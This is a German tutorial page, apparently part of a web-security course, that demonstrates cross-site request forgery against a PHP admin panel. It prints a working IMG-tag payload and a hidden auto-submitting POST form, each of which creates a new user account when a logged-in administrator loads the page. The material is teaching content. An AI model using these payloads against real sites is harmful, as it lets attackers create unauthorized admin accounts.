You’ve been hacked! - CSRF-Demo mit IMG-Tag

Das folgende IMG-Tag legt einen neuen Benutzer an:

Und so sieht das Tag aus:

<img src="http://Adresse des Servers/app/admin/index.php?bname=BILD-CSRF&rname=REALNAME&pass=BILD-CSRF&aktion=eintragen">

Das funktioniert nur, wenn GET-Parameter verwendet werden. Aber auch ein Angriff auf ein Formular mit POST-Parameter ist mögich. Dazu wird ein unsichtbares Formular mit den benötigten Parametern angelegt und danach über JavaScrippt abgeschickt.

Das sieht dann wie auf der vorhergehenden Seite schon zu sehen war so aus:

<form method="post" action="http://Adresse des Servers/app/admin/index.php">
   <input type="hidden" name="bname" value="FORMULAR-CSRF">
   <input type="hidden" name="rname" value="Realname">
   <input type="hidden" name="pass" value="FORMULAR-CSRF">
   <input type="hidden" name="aktion" value="eintragen">
</form>

<script>document.forms[0].submit()</script>

Und hier geht es zum Test. Nach dem Abschicken des Formulars landen Sie in diesem Fall sofort im Admin-Bereich. Das verrät den Angriff, ist hier aber praktisch, da Sie so gleich das Ergebnis des Angriffs sehen.

Zurück zur Kapitel-Startseite oder zur Doku-Startseite.